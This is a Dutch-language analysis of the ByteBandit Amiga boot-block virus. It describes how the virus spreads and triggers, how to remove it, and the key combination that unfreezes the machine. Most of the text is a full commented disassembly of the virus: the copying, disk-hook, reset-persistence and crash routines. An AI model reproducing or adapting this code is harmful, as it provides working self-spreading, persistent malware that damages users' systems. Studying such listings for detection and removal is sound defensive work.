-----------------------------------------------------------------
               LISTING VAN HET BYTE-BANDIT-VIRUS
-----------------------------------------------------------------

Een  tijdje na het  redelijk onschuldige  SCA-virus  dook er  een
nieuwe epedemie op: het ByteBandit virus.  Dit virus plantte zich
al net zo snel voort als zijn  voorganger maar had  als extra ge-
vaar dat het de computer  na een tijdje liet vastlopen.  Het leek
er dan ook op dat het zich nog sneller  voortplantte dan het SCA-
virus. 

Dit  virus  schrijft vaker  dan het SCA-virus.  Elke keer als het
BootBlock wordt ingelezen of weggeschreven,  wordt het virus daar
neergezet.  Dit is  elke keer  als er  een diskette  in de  drive
wordt gestopt. (Ook in externe drives.)  Na minstens 3  resets en
6 keer  het virus  te hebben  verspreid  wordt het  aktief  na  6
minuten. De auteur van dit ding heeft iets  ingebouwd om de  com-
puter weer aan de gang te  krijgen door een  aantal toetsen in te
drukken;  nee ik  bedoel niet  CTRL-A-A,  het  zijn  de  volgende
toetsen :  linker  ALT-toets  - linker  A-toets  -  Spatie-Balk -
rechter A-Toets - rechter ALT-toets.

Het verwijderen van dit virus is geen probleem.  Als u zeker weet
dat het  ByteBandit-virus  op een bepaalde schijf  zit dan kunt u
die  schijf  gewoon  INSTALLeren.  U moet  dan  wel een  "schone"
WorkBench gebruiken en eerst de  computer even  uit- en aanzetten
om het virus ook uit het geheugen te verwijderen.

---------- ByteBandit virus gedisassembleerd -----------
000 dc.b	'DOS',0			Bootable disk
004 dc.l	$3e3ed9fb		Checksum
008 dc.l 	$00000370		Key van RootBlock
00c bra.l	$04c			Spring naar begin
010 dc.b	'Virus by Byte  '
020 dc.b 	'Bandit in 9.87.'
030 dc.b 	'Number of      '
040 dc.b 	'copys :',0
048 dc.l 	$00000162		'Generatie'

--------------- Begin van het programma ----------------
04c movem.l	A7-A1/D7-D1,-(A7)	Sla registers op
050 move.l	$0004,A6		ExecBase
054 move.w 	#$4000,$dff09a		Clear INTEN
05c addi.b	$01,294(A6)		verhoog IDNestCnt
062 move.w	148(A6),D0		VBLANK-int.
066 and.l	#$000000f0,D0		test of
06c cmp.w	#$00f0,D0		virus al
070 bne.l	$0b2			is geactiveerd
074 lea		322(A6),A0		zo nee :
078 Move.l	(A0),A0			A0 = Memlist
07a move.l 	24(A0),A1		A1 = me_Length
07e move.l 	A1,A5			A5 = A1
080 lea		-130(PC),A0		A0 = begin van BoBl
084 lea		840(PC),A2		A2 = Einde van BoBl
088 move.b	(A0)+,(A1)+		kopieer naar (A1)
08a cmpa.l	A0,A2			al klaar ?
08c bne.s	$088			nee
08e lea 	-144(PC),A0		A0 = begin van BoBl
092 move.l	A0,D0			D0 ook
094 lea		10(PC),A0		A0 = $0a0
098 move.l	A0,D1			bereken
09a sub.l	D0,D1			overeenkomstig adr.
09c adda.l 	D1,A5			in de 'kopie' en
09e jmp		(A5)			spring daarheen
0a0 lea		812(PC),A0		A0 = einde van BoBl
0a4 clr.l	D0			D0 = 0
0a6 move.l	D0,(A0)+		Zet de twee LONGs
0a8 move.l 	D0,(A0)+		einde BoBl op nul
0aa bsr.l	$0ea			voeg virus in
0ae bsr.l	$15c			maak virus resident

------------- Vervolg van normale Bootcode -------------
0b2 lea		781(PC),A1		'dos.library'
0b6 jsr		-96(A6)			FindResident
0ba tst.l 	D0			error?
0bc beq.l	$0e2			ja
0c0 move.l	D0,A0			A0 = pointer op
0c2 move.l	22(A0),A0		DOS-initroutine
0c6 subi.b	#$01,294(A6)		verlaag IDNestCnt
0cc bge.s	$0d6			IDNestCnt = -1 ?
0ce move.w	#$c000,$dff09a		zo niet: set INTEN
0d6 move.l	#$0,D0			D0 = 0 : geen err.
0dc movem.l	(A7)+,A7-A1/D7-D1	haal regs terug
0e0 rts		
0e2 move.l	#-1,D0			D0 = -1 : error
0e8 bra.s	$0dc

------- Nieuwe trackdisk : Voeg virusroutines in -------
0ea move.w	#$4000,$dff09a		clr INTEN
0f2 addi.b	#$01,294(A6)		verhoog IDNestCnt
0f8 movem.l 	A6-A0/D1-D0,-(A7)	sla registers op
0fc move.l	#$0400,D0		1024 bytes
102 move.l	#$2,D1			MEMF_CHIP
108 jsr		-198(A6)		AllocMem
10c lea		720(PC),A0		Zet memory aan het
110 move.l	D0,(A0)			einde van BoBl
112 lea		350(A6),A0		A0 = DeviceList
116 lea		664(PC),A1		A1 = td.device
11a jsr		-276(A6)		FindName
11e tst.l 	D0			gevonden ?
120 beq.s	$0b2			nee
122 move.l 	D0,A0			A0 = device-adres
124 lea 	-28(A0),A4		A4 = LIB_EXTFUNC
128 lea		684(PC),A5		sla de inhoud van
12c move.l	(A4),(A5)		LIB_EXTFUNC op
12e lea		136(PC),A0		en vervang hem door
132 move.l	A0,(A4)			de virusroutine
134 move.l	148(A6),D0		Sla het adres van
138 lea		672(PC),A0		VBLANK-server
13c move.l	D0,(A0)			op en vervang
13e lea		394(PC),A0		hem door de
142 move.l	A0,148(A6)		virusroutine
146 subi.b	#$01,294(A6)		verlaag IDNestCnt
14c bge.s	$156			IDNestCnt = -1 ?
14e move.w 	#$c000,$dff09a		zo ja: set INTEN
156 movem.l	(A7)+,A6-A0/D1-D0	haal regs terug
15a rts

-------------- Maak virus resetbestendig ---------------
15c lea		644(PC),A0		A0 = resident-table
160 lea		8(A0),A1		A1 = residentstruct
164 move.l	A1,(A0)			A1 = de enige
166 clr.l	4(A0)			    structure
16a move.l	A0,550(A6)		KickTagPtr
16e move.w	#$4afc,(A1)		MatchWord
172 move.l	A1,2(A1)		MatchTag
176 lea		26(A1),A2
17a move.l 	A2,6(A1)		EndSkip
17e move.b	#$01,10(A1)		Flags
184 move.b	#$21,11(A1)		Version
18a move.b	#$00,12(A1)		Type
190 move.b	#$f6,13(A1)		Priority
196 lea 	18(A1),A3			
19a move.l	A3,14(A1)		Name = NULL
19e move.l	#$0000,18(A1)		IDString
1a6 lea		480(PC),A3		$388
1aa move.l	A3,22(A1)		Init
1ae jsr		-612(A6)		SumKickData
1b2 move.l	D0,554(A6)		KickCheckSum
1b6 rts
1b8 move.l 	44(A1),D0		IO_offset
1bc cmp.l	#$00000000,D0		= 0 ? (=BootBlock)
1c2 bne.l	$2c4			nee
1c6 move.b 	29(A1),D0		IO_command
1ca cmp.b	#$03,D0			= 3 ? (=CMD_write)
1ce beq.l	$202			ja
1d2 cmp.b	#$02,D0			= 2 ? (=CMD_read)
1d6 bne.l	$2c4			nee : normale rout.
1da move.l	A0,-(A7)		Sla A0 op de stack
1dc move.l 	24(A1),A0		A0 = IO_unit
1e0 move.b	65(A0),D0		D0 = CIA-commando
1e4 move.l	(A7)+,A0		haal A0 terug
1e6 move.b 	D0,$bfd100		'poke' D0 in CIA
1ec move.b	$bfe001,D0		D0 = resultaat
1f2 btst	#3,D0			WriteProtected?
1f6 beq.l	$2c4			Ja!
1fa btst	#2,D0			DiskChange?
1fe beq.l	$2c4			Ja!
202 movem.l	A6-A0/D1,-(A7)		sla registers op
206 move.l	$0004,A6		ExecBase
20a move.w	#$4000,$dff09a		clr INTEN
212 addi.b	#$01,294(A6)		verlaag IDNestCnt
218 move.b 	#$03,29(A1)		CMD_WRITE
21e move.l	40(A1),A3		A3 = IO_data
222 move.l	A3,A2			A2 ook
224 cmpi.l 	#$0400,36(A1)		1024 bytes ?
22c beq.l	$24e			ja
230 move.l	428(PC),A3		A3 = buffer
234 move.l	A3,40(A1)		IO_data = A3
238 move.l	#$0400,36(A1)		IO_lenght = $0400
240 lea		-578(PC),A0		A0 = begin van BoBl
244 lea		-70(PC),A1		A1 = begin + 512
248 move.b 	(A0)+,(A2)+		kopieer
24a cmpa.l	A0,A1			Klaar ?
24c bne.s	$248			nee
24e move.l	A3,A2			A2 = IO_data
250 lea 	-594(PC),A0		A0 = begin van BoBl
254 lea		376(PC),A1		A1 = eind
258 move.b	(A0)+,(A2)+		kopieer
25a cmpa.l	A0,A1			Klaar ?
25c bne.s	$258			nee
25e move.l	A3,A0			A0 = IO_data
260 move.w	#$00ff,D1		berekenen
264 clr.l	D0			de
266 add.l	(A0)+,D0		C
268 bcc.l	$26e			 h
26c addq.l	#1,D0			  e
26e dbf		D1,$266			   c
272 not.l	D0			    k
274 move.l	4(A3),D1		     S
278 add.l	D0,D1			      u
27a bcc.l	$284			       m
27e add.l	#$00000001,D1		        !
284 move.l	D1,4(A3)		en sla hem op
288 lea		324(PC),A0		A0 = einde van BoBl
28c cmpi.w	#$ffff,(A0)		teller1 = -1?
290 beq.l	$2a6			ja
294 addi.w	#$0001,(A0)		verhoog
298 move.w	(A0),D0			teller1
29a cmp.w	#$0006,D0		<6 ?
29e bcs.l	$2a6		 	ja
2a2 move.w	#$ffff,(A0)		nee: teller1 := -1
2a6 lea		-608(PC),A0		aantal copies
2aa Addi.l	#$00000001,(A0)		wordt verhoogd
2b0 subi.b 	#$01,294(A6)		verlaag IDNestCnt
2b6 bge.s	$2c0			IDNestCnt = -1?
2b8 move.w	#$c000,$dff09a		set INTEN
2c0 movem.l	(A7)+,A6-A0/D1		haal regs terug
2c4 move.l	272(PC),A0		vervolg de normale
2c8 jmp		(A0)			trackdisk routine

----------------- Nieuwe VBLANK-server -----------------
2ca lea		260(PC),A5		#reset
2ce cmpi.w	#$ffff,(A5)		= -1
2d2 bne.l	$2fa			nee
2d6 lea		246(PC),A5		teller1
2da cmpi.w	#$ffff,(A5)		= -1
2de bne.l	$2fa			nee
2e2 lea		238(PC),A5		verhoog jiffyteller
2e6 addi.l	#$00000001,(A5)		met 1
2ec cmpi.l	#$00005208,(A5)		30000 ? (6 minuten)
2f2 bcs.l    	$2fa			nee
2f6 bsr.l	$300			ja
2fa move.l	222(PC),A5		vervolg de
2fe jmp		(A5)			normale VBLANK

----------------------- "CRASH " -----------------------
300 move.w 	#$4000,$dff09a		clr INTEN
308 addi.b 	#$01,294(A6)		verhoog IDNestCnt
30e movem.l	D7-D0,-(A7)		sla registers op
312 move.w 	#$0100,$dff096		stop BitPlaneDMA
31a lea		182(PC),A5		zet jiffyteller
31e clr.l	(A5)			op 0
320 lea		136(PC),A5		A5 = adres van tabel
324 move.b	$bfed01,D0		D0 = ICR
32a btst	#3,D0			test SP-bit
32e beq.s	$070324			wacht op een 1
330 move.b 	$bfec01,D0		SerialData (Keyboard)
336 ori.b	#$40,$bfee01		SPMODE = out
33e not.b	D0
340 ror.b	#1,D0
342 move.w	#$0600,D1		Wacht-
346 move.w	#$00d1,$ff0180	        lus-
34e dbf		D1,$070346		je
352 andi.b	#$bf,$bfee01		SPMODE=in
35a move.b	(A5)+,D1		vergelijk ingedrukte
35c cmp.b	D0,D1	 		toets met tabel
35e bne.s	$070320			fout! opnieuw
360 cmpi.b	#$ff,(A5)		einde tabel?
364 beq.l	$07036a			yo!
368 bra.s	$070324
36a move.w 	#$8100,$dff096		BitplaneDMA aan
372 movem.l	(A7)+,D7-D0		haal registers op
376 subi.b	#$01,294(A6)		verlaag IDNestCnt
37c bge.s	$070386			-1 ?
37e move.w	#$c000,$dff09a		Ja
386 rts

----------------- Init-routine na reset ----------------
388 lea 	70(PC),A0		#reset
38c move.w	(A0),D0
38e cmp.w	#$0002,D0		> 2 ?
392 bcc.l	$3a4			dan #reset := -1
396 addi.w	#$0001,(A0)		#reset ophogen
39a move.l	$0004,A6		ExecBase
39e bsr.l	$0ea			virus 'invoegen'
3a2 rts
3a4 move.w 	#$ffff,(A0)		#reset := -1
3a8 bra.s	$07039a

------------------------ Tabel -------------------------
3aa dc.b 	$64,$66,$40		LeftAlt,LeftAmiga
3ac dc.b	$40,$67			Spatie,RightAmiga
3ae dc.b	$65,$ff			RightAlt,'einde'
3b0 dc.b	'trackdisk.device',0
3c1 dc.b	'dos.library',0
3ce dc.w	0			generatie teller1
3d0 dc.w	0			#resets
3d2 dc.l	0			jiffyteller
3d6 dc.l	0			td.device orig
3da dc.l	0			VBLANK orig
3de dc.l	0			IO_buffer
3e2 dc.l	0,0			Residenttable
3ea					Resident-structure
